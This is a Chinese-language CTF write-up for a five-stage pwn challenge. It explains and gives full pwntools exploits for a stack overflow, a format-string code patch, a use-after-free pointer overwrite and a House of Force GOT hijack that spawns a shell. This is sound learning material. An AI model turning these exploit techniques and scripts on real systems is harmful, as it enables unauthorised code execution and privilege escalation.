题目概览
题目没有给文件,nc 上去之后输入 y 给了 shell,ls -al
查看文件
upwind@Vik1ng:~$ nc 123.57.131.167 15829 Now you are in the city. Then, do you want to enter the next level? (y/n) y ls -al total 52 drwxr-xr-x 2 root root ? 4096 Nov 18 12:36 bin drwxr-xr-x 2 root root ? 4096 Nov 17 10:06 dev drwxr-xr-x 2 root root ? 4096 Nov 18 12:20 etc drwxr-xr-x 2 root root ? 4096 Nov 18 16:34 files drwxr-x--- 1 hotel hotel ? 4096 Nov 26 05:58 hotel drwxr-xr-x 3 root root ? 4096 Nov 18 12:23 lib drwxr-xr-x 2 root root ? 4096 Nov 17 10:06 lib64 -r-xr-x--- 1 city city ? 6376 Nov 18 16:35 main -rwsr-sr-x 1 root root ? 8704 Nov 18 16:35 next
文件夹下有一个 next 文件,是有 s 权限的,参考 pwnable.kr 的 fd 题目,s 权限的可执行文件在运行时能够拥有文件所有者的权限,我们通过 cat 命令和 pwntools 插件 recv 配合把 next 文件 dump 下来。
先用 pwntools remote 连接,开启 debug,在 cat 的时候多次 查看接收的字符数。
接收函数如下:
def dump_next():
p.sendline("cat next")
res = p.recv(0x1000)
res1 = p.recv(0x1000)
res2 = p.recv(0x200)
with open("next", "wb") as f:
f.write(res)
f.write(res1)
f.write(res2)
ida 反编译出代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
setgid(0);
setuid(0);
system("/bin/chroot --userspec=1002:1002 /hotel timeout 50 /main");
return 0;
}
可以看出,程序通过 setgid(0)
和 setuid(0)
获得了 root 权限,chroot 命令使用户和用户组变成 1002:1002,变更根目录到 /hotel
,设置超时时间,运行新的根目录下的 main,50秒后退出。
这里我们可以查看 /etc/group
文件,uid 为 1002 对应 hotel 用户,并且还有其他用户如 snow、home、gamma,我们可以推断,题目是通过利用程序的漏洞拿到新的用户的权限,最终拿到 root 权限。
cat /etc/group root:x:0: city:x:1001: hotel:x:1002: snow:x:1003: home:x:1004: gamma:x:1005: user:x:9999:
查看 files 文件夹,可以看出,city 文件的大小和当前根目录下 main 文件的大小相同。
cd files ls -al total 48 -r--r--r-- 1 root root ? 6376 Nov 18 16:35 city -r--r--r-- 1 root root ? 10496 Nov 18 16:35 home -r--r--r-- 1 root root ? 6352 Nov 18 16:35 hotel -r--r--r-- 1 root root ? 6368 Nov 18 16:35 snow -r--r--r-- 1 root root ? 10528 Nov 18 16:35 world
把文件都 dump 下来,和之前 cat next
相似,接下来就可以分析每一个文件。
文件分析
city
代码分析
解题步骤
city 是 nc 后第一个执行的文件,输入 y 时已经拿到 shell,这一关主要用于熟悉题目结构,接下来输入 next 进入下一关。
hotel
代码分析
主函数中的 read 函数存在栈溢出,而且代码段里存在 system("/bin/bash");
可以考虑 ret2text。
exp
def pwn_hotel():
p.sendline('./next')
system = 0x4006B6
payload = 'a'*(0x30+8)
payload += p64(system)
p.sendlineafter("you?\n", payload)
snow
代码分析
主函数的 printf 函数存在格式化字符串漏洞,而且存在可以读写执行的段,代码段上还存在 system("/bin/bash");
。
解题步骤
在 printf 函数下断点,运行后查看栈上信息
通过 vmmap 可以看出,code 是可读写执行的段
我们可以通过格式化字符串漏洞的任意地址写,把返回地址 0x4008b0
位置的代码改为 jmp 0x4008b7
,这样程序返回的时候就会跳转到后门函数上执行。
这里使用 ida 的 keypatch 插件,查看 jmp 0x4008b7
的机器码为 EB 05
,小端写入也就是 0x5EB
。
用 fmtarg 查看写入位置。
可以看出,写入后, 0x4008b0
位置的代码已经改变。
exp
def pwn_snow():
p.sendline('./next')
payload = '%1515c%43$hn' #$hn 表示写入两个字节
p.sendlineafter('you?\n', payload)
home
代码分析
13 行的函数 sub_4008A7
对内存空间进行了初始化,各个房间的名字存储到 ptr[i][1]
里,ptr[i][2]
存储的是 puts_plt 的地址。
判断输入的房间名字是否在 ptr[i][1]
里(L26),如果存在,先调用原本存储在 ptr[i][2]
的 puts_plt 输出进入房间的提示(L31),然后 free 掉 ptr[i]
块(L33)。如果该房间已经 free 过,则重新填充 ptr[i]
块(L39),执行的函数填写在 ptr[i][2]
,房间名的地址会被填写在 ptr[i][1]
(L40)。
代码段上存在 system("/bin/bash");
,所以我们可以改变填入 ptr[i][2]
的函数,使程序执行后门函数。
解题步骤
运行后查看堆上的内容,初始化之后:
重新填充 ptr[i]
块之后:
exp
def pwn_home():
p.sendline('./next')
system = 0x400896
p.sendlineafter('go?\n', 'bedroom')
p.sendlineafter('go?\n', 'bedroom')
p.sendlineafter('name: ', 'a\x00'*8+p64(system))
p.sendlineafter('go?\n', 'a')
world
代码分析
第一次 create 的时候会创建 world 块,此时读入的字节数正好比块大小多了 8 个字节,能覆盖到 top_chunk 的 size 区域,而且对于后续的 create 来说,malloc 的大小没有限制,所以可以有 House of Force 的思路。
后续就通过劫持 free_got 来泄露 libc 地址和开 shell。
解题步骤
修改 top_chunk 到 free_got
p.sendafter('name: ', 'a'*0xf8 + p64(i64_max))
create(str(free_got - 0x28 - (heap_addr + 0x240)), 'bbbb')
劫持 free_got 到 call_puts
payload = 'a'*8
payload += p64(call_puts).replace(b'\x00',b'\t')[:-1] #使用 replace 清空无关字节
create(0x88, payload)
劫持之前:
劫持之后:
修改初始化标志,使程序回到 create world
create(0x28, 'a'*0x10)
此时的堆正好来到初始化标志的地方,通过 create 直接篡改,回到修改 top_chunk 的步骤。
对 world 块进行布置并释放,泄露 libc
payload = p64(0)
payload += p32(0) + p32(2)
payload += p64(0x6020e0)
payload += p64(0x602030)
payload += '\x00' * (0xf8-0x20)
payload += p64(i64_max)
p.sendafter('name: ', payload)
destory('world', False)
0x6020DC
的地方存放的是已经 create 的数量,0x6020E0
存放的是 ptr 指针,用于记录 create 的 chunk 的地址。
在 destory 的时候,要根据 ptr 的地址去 free,我们把 0x602030
,也就是指向 _IO_puts
的地址放在第一个 free 的位置,由于现在 free_got 已经被劫持为 puts,所以会把 _IO_puts
在 libc 的地址泄露出来。
修改 top_chunk 到 free_got
create(str(free_got - 0x28 - 0x6021c0), 'cccc', False)
劫持 free_got 到 system
payload = 'a'*8
payload += p64(system).replace(b'\x00',b'\t')[:-1]
create(0x88, payload)
开 shell
create(0x18, '/bin/sh')
destory('/bin/sh')
exp
def create(size, name, ac=True):
payload = 'create ' + str(size) + ' ' + name
if ac:
p.sendlineafter('accept\n', payload)
else:
p.sendline(payload)
def destory(name, ac=True):
payload = 'destory ' + name
if ac:
p.sendlineafter('accept\n', payload)
else:
p.sendline(payload)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
i64_max = (1<<64)-1
def pwn_world():
p.sendline('./next')
p.sendlineafter('?\n', 'create')
p.recvuntil('address is: ')
heap_addr = int(p.recvline(), 16)# - 0x10
success("heap addr -> %s" % hex(heap_addr))
p.sendafter('name: ', 'a'*0xf8 + p64(i64_max))
create(0x18, 'aaa', False)
create(0x18, 'bbb')
create(0x18, 'ccc')
create(0x18, 'ddd')
create(0x18, 'eee')
destory('ccc')
destory('aaa')
create(0x18, 'aaa')
free_got = 0x602018
# create(str(free_got - heap_addr - 0x100 - 0x80 - 0x18 - 0xc0), 'bbbb')
create(str(free_got - 0x20 - (heap_addr + 0x240)), 'bbbb')
destory('ddd')
destory('aaa')
call_puts = 0x4010CF
payload = 'a'*8
payload += p64(call_puts).replace(b'\x00',b'\t')[:-1]
create(0x88, payload)
create(0x28, 'a'*0x10)
p.sendlineafter('accept\n', 'create')
payload = p64(0)
payload += p32(0) + p32(2)
payload += p64(0x6020e0)
payload += p64(0x602030)
payload += '\x00' * (0xf8-0x20)
payload += p64(i64_max)
p.sendafter('name: ', payload)
destory('world', False)
p.recvuntil('world.\n')
l.address = u64(p.recv(6)+'\0\0') - l.sym.puts
success('libc_address -> %s' % hex(l.address))
system = l.sym.system
success('system -> %s' % hex(system))
create(str(free_got - 0x20 - 0x6021c0), 'cccc', False)
payload = 'a'*8
payload += p64(system).replace(b'\x00',b'\t')[:-1]
create(0x88, payload)
create(0x18, '/bin/sh')
destory('/bin/sh')
获取 flag
$ ls -al total 64 drwxr-xr-x 2 root root ? 4096 Nov 18 12:36 bin lrwxrwxrwx 1 root root ? 1 Nov 18 16:35 death -> / drwxr-xr-x 2 root root ? 4096 Nov 17 10:06 dev drwxr-xr-x 2 root root ? 4096 Nov 18 12:20 etc drwxr-xr-x 3 root root ? 4096 Nov 18 12:23 lib drwxr-xr-x 2 root root ? 4096 Nov 17 10:06 lib64 drwxr-x--- 2 root root ? 20480 Nov 18 16:34 life -r-xr-x--- 1 gamma gamma ? 10528 Nov 18 16:35 main -rwsr-sr-x 1 root root ? 8704 Nov 18 16:35 next
进入到最后的目录之后,给了一个 life 文件夹,里面是一些假的 flag,还有一个 death 软链接。
细心一点可以注意到,使用 ls -al
命令的时候,当前目录 .
和 上级目录 ..
都没有显示出来,原因是 ls 文件经过 patch 把显示隐藏文件的功能去除了。
$ cat ... cat: ...: Is a directory $ cat .../.* cat: .../.: Is a directory cat: .../..: Is a directory flag{b7a0ea5c-90a9-4a9c-8e1f-2c78ed170a3c}
这里可以使用 cat ...
命令测试出隐藏的 ...
目录,再通过 cat .../.*
获取最终的 flag。
完整 exp
dump.py
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
p = remote('123.57.131.167', 22457)
def dump_city():
p.sendline("cat city")
res1 = p.recv(0x1000)
res2 = p.recv(0x8e8)
with open("city", "wb") as f:
f.write(res1)
f.write(res2)
def dump_hotel():
p.sendline("cat hotel")
res = p.recv(0x5b4)
res1 = p.recv(0x1000)
res2 = p.recv(0x31c)
with open("hotel", "wb") as f:
f.write(res)
f.write(res1)
f.write(res2)
def dump_snow():
p.sendline("cat snow")
res = p.recv(0x5b4)
res1 = p.recv(0x1000)
res2 = p.recv(0x32c)
with open("snow", "wb") as f:
f.write(res)
f.write(res1)
f.write(res2)
def dump_world():
p.sendline("cat world")
res = p.recv(0x5b4)
res1 = p.recv(0x1000)
res2 = p.recv(0x1000)
res3 = p.recv(0x36c)
with open("world", "wb") as f:
f.write(res)
f.write(res1)
f.write(res2)
f.write(res3)
def dump_home():
p.sendline("cat home")
res = p.recv(0x5b4)
res1 = p.recv(0x1000)
res2 = p.recv(0x1000)
res3 = p.recv(0x34c)
with open("home", "wb") as f:
f.write(res)
f.write(res1)
f.write(res2)
f.write(res3)
def dump_ls():
p.sendline("cd bin")
p.sendline("cat ls")
with open("ls", "wb") as f:
# res = p.recv(0x5b4)
# f.write(res)
for i in range(0x1e):
res = p.recv(0x1000)
f.write(res)
res = p.recv(0xe78)
f.write(res)
p.sendlineafter("(y/n) ", 'y')
dump_next()
p.sendline("cd files")
dump_city()
dump_hotel()
dump_snow()
dump_home()
dump_world()
p.interactive()
pwn.py
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
p = remote('123.57.131.167', 22457)
def pwn_hotel():
p.sendline('./next')
system = 0x4006B6
payload = 'a'*0x38
payload += p64(system)
p.sendlineafter("you?\n", payload)
def pwn_snow():
p.sendline('./next')
payload = '%1515c%43$hn'
p.sendlineafter('you?\n', payload)
def pwn_home():
p.sendline('./next')
system = 0x400896
p.sendlineafter('go?\n', 'bedroom')
p.sendlineafter('go?\n', 'bedroom')
p.sendlineafter('name: ', 'a\x00'*8+p64(system))
p.sendlineafter('go?\n', 'a')
def create(size, name, ac=True):
payload = 'create ' + str(size) + ' ' + name
if ac:
p.sendlineafter('accept\n', payload)
else:
p.sendline(payload)
def destory(name, ac=True):
payload = 'destory ' + name
if ac:
p.sendlineafter('accept\n', payload)
else:
p.sendline(payload)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
i64_max = (1<<64)-1
def pwn_world():
p.sendline('./next')
p.sendlineafter('?\n', 'create')
p.recvuntil('address is: ')
heap_addr = int(p.recvline(), 16) - 0x10
success("heap_addr -> %s" % hex(heap_addr))
p.sendafter('name: ', 'a'*0xf8 + p64(i64_max))
create(0x18, 'aaa', False)
create(0x18, 'bbb')
create(0x18, 'ccc')
create(0x18, 'ddd')
create(0x18, 'eee')
destory('ccc')
free_got = 0x602018
# create(str(free_got - heap_addr - 0x100 - 0x80 - 0x18 - 0xc0), 'bbbb')
create(str(free_got - 0x28 - (heap_addr + 0x240)), 'bbbb')
destory('ddd')
destory('aaa')
call_puts = 0x4010CF
payload = 'a'*8
payload += p64(call_puts).replace(b'\x00',b'\t')[:-1]
create(0x88, payload)
create(0x28, 'a'*0x10)
p.sendlineafter('accept\n', 'create')
payload = p64(0)
payload += p32(0) + p32(2)
payload += p64(0x6020e0)
payload += p64(0x602030)
payload += '\x00' * (0xf8-0x20)
payload += p64(i64_max)
p.sendafter('name: ', payload)
destory('world', False)
p.recvuntil('world.\n')
l.address = u64(p.recv(6)+'\0\0') - l.sym.puts
success('libc_address -> %s' % hex(l.address))
system = l.sym.system
binsh = l.search('/bin/sh\0').next()
success('system -> %s' % hex(system))
success('/bin/sh -> %s' % hex(binsh))
create(str(free_got - 0x28 - 0x6021c0), 'cccc', False)
payload = 'a'*8
payload += p64(system).replace(b'\x00',b'\t')[:-1]
create(0x88, payload)
create(0x18, '/bin/sh')
destory('/bin/sh')
p.sendlineafter("(y/n) ", 'y')
pwn_hotel()
pwn_snow()
pwn_home()
pwn_world()
p.sendline('./next')
p.sendlineafter('world!\n', 'cat .../.*')
p.interactive()